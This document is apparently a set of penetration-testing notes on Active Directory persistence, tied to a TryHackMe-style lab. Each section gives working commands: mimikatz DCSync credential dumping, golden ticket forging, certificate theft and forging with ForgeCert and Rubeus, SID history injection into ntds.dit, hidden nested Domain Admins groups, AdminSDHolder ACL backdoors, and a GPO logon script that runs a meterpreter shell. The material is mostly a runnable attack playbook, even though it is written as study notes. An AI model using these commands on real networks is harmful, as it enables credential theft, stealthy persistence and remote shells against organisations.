# Active Directory Persistance ## Using Credentials * __Knowledge Consistency Checker (KCC)__ replicates credentials through the forest * __DC Synchronisation__ is the process of syncing credentials between domain controllers, it can be used to gather credentials * Credentials for multiple local administrators * Service account with delegation permissions * __Service accounts with high AD permissions__, Windows Server Update Services (WSUS), System Center Configuration Manager (SCCM) ### Usage * Use mimikatz ```sh lsadump::dcsync /domain: /user: ``` * To query the krbtgt user ```sh lsadump::dcsync /domain: /user:krbtgt. ``` * Query everything ```sh lsadump::dcsync /domain: /all ``` ## Using Tickets * __Golden Ticket__ crafted TGT, * Needs domain name, domain SID and a user ID to impersonate * Needs krbtgt NTLM to sign the ticket * krbtgt hash never rotates automatically, only refreshed manually * krbtgt hash bypasses smart cards * TGT can not be older than 20 minutes * TGT lifetime can be set to years * TGT can be signed anywhere as long as the krbtgt hash is known * __Silver Ticket__ crafted TGS * Signed by targeted service account on a host * DC is never contacted, no contact to any TGT or KDC * Non existing user can be used with a local admin group's SID ### Usage * Craft a golden ticket ```sh Get-ADDomain ``` ```sh kerberos::golden /admin:MyLittleAdministrator /domain: /id:500 /sid: /target: /rc4: /service:cifs /ptt ``` ## Using Certificates * Private key extraction via mimikatz which makes it exportable ```sh crypto::certificates /systemstore:local_machine privilege::debug crypto::capi crypto::cng crypto::certificates /systemstore:local_machine /export ``` * Password of the certificate is `mimikatz` afterwards * Use [ForgeCert](https://github.com/GhostPack/ForgeCert) to create certificate ```sh ForgeCert.exe --CaCertPath .pfx --CaCertPassword mimikatz --Subject CN=User --SubjectAltName Administrator@ --NewCertPath Administrator.pfx --NewCertPassword SecretPassword ``` * * Use Rubeus to request the TGT via ```sh Rubeus.exe asktgt /user:Administrator /enctype:aes256 /certificate: /password: /outfile: /domain: /dc: ``` * Load the TGT via mimikatz ```sh privilege::debug kerberos::ptt administrator.kirbi dir \\\C$\ ``` ## Using SID History * Account logs on -> associated SIDs (group SIDs) added to the user's token -> permissions are set in this way * SIDs of controlled accounts may be added to the history * Add Administrator group to the associated SIDs / the token * `ntds.dit` stores all AD info * User does not come up on checking groups, the user stays hidden unless searched for explicitly ### Usage * Check SID history ```sh Get-ADUser -properties sidhistory,memberof ``` * Check SID of domain admins ```sh Get-ADGroup "Domain Admins" ``` * Use [DSInternals](https://github.com/MichaelGrafnetter/DSInternals) to patch `ntds.dit` ```sh Stop-Service -Name ntds -force Add-ADDBSidHistory -SamAccountName 'username of our low-priveleged AD account' -SidHistory 'SID to add to SID History' -DatabasePath C:\Windows\NTDS\ntds.dit Start-Service -Name ntds ``` * Verify users SIDs ```sh Get-ADUser -Properties sidhistory dir \\\C$\ ``` ## Using Group Memberships * Most are monitored security wise * Interesting group for persistence are * `IT Support` * Local administrational accounts * Groups with ownership over GPO * Nested groups are used to organize an AD * `Helpdesk`, `Network Manager` is a nested group of `IT Support` * Joining a nested groups is not as alerting as joining a more general group ### Usage * Create a new subgroup ```sh New-ADGroup -Path "OU=IT,OU=People,DC=,DC=,DC=COM" -Name " Steam Network 1" -SamAccountName "_steam_network1" -DisplayName " Steam Network 1" -GroupScope Global -GroupCategory Security ``` * And nesting another one ```sh New-ADGroup -Path "OU=SALES,OU=People,DC=ZA,DC=TRYHACKME,DC=LOC" -Name " Steam Network 2" -SamAccountName "_steam_network2" -DisplayName " Steam Network 2" -GroupScope Global -GroupCategory Security Add-ADGroupMember -Identity "_steam_network2" -Members "_steam_network1" ``` * Do it a couple of times again and add the last group to Domain Admins ```sh Add-ADGroupMember -Identity "Domain Admins" -Members "_2" ``` * Add the low priv user to the first group ```sh Add-ADGroupMember -Identity "_steam_networks1" -Members "" ``` * And check ```sh dir \\\c$\ ``` * Verify nested group ```sh Get-ADGroupMember -Identity "Domain Admins" ``` ## Using ACLs * AD group templates like `AdminSDHolder` can be used to copy its ACL through the AD's protected groups * Domain Admins * Administrators * Enterprise/Schema Administrator * SDProp as a process maps the ACLs to protected groups every hour ## Usage * `runas /netonly /user:Administrator cmd.exe` and therein open `mmc` * File -> Add Snap-In -> Active Directory Users and Groups * View -> Advanced Features * AdminSDHolder group in Domain -> System * Right click the group -> Properties -> Security -> Add user and Check Names -> OK -> Allow on Full Control -> Apply -> OK * Add the user to other groups with the new propagated permissions ## Using GPOs * Restricted Group Memberships, admin access to every host in the domain * Logon Script Deployment, get a shell when a user logs in ### Usage * Craft a portable executable shell via meterpreter * Craft a batch script ```sh copy \\\sysvol\\scripts\shell.exe C:\windows\tmp\_shell.exe && timeout /t 20 && C:\windows\tmp\shell.exe ``` * Copy both to the sysvol * `runas /netonly /user:Administrator cmd.exe` and therein open `mmc` * File -> Add/Remove Snap-in -> Group Policy Management -> Add -> OK * Right click Admins OU -> Create GPO in the domain -> link it -> name it * Right click created policy -> Enforced * Right click created policy -> edit -> User Configuration / Policies -> Window Settings -> Scripts (logon/logoff) * Right click Logon -> Properties -> Scripts tab -> Add -> Browse * Select the previously created batch script and PE * Catch the shell when an admin logs on * Once again open mmc * Right click Enterprise Domain Controllers -> Edit settings, delete, modify security * Click on every other group except Authenticated Users and remove them * Add -> `Domain Computers` -> check names - OK * Read Permissions -> OK -> Authenticated Users -> Remove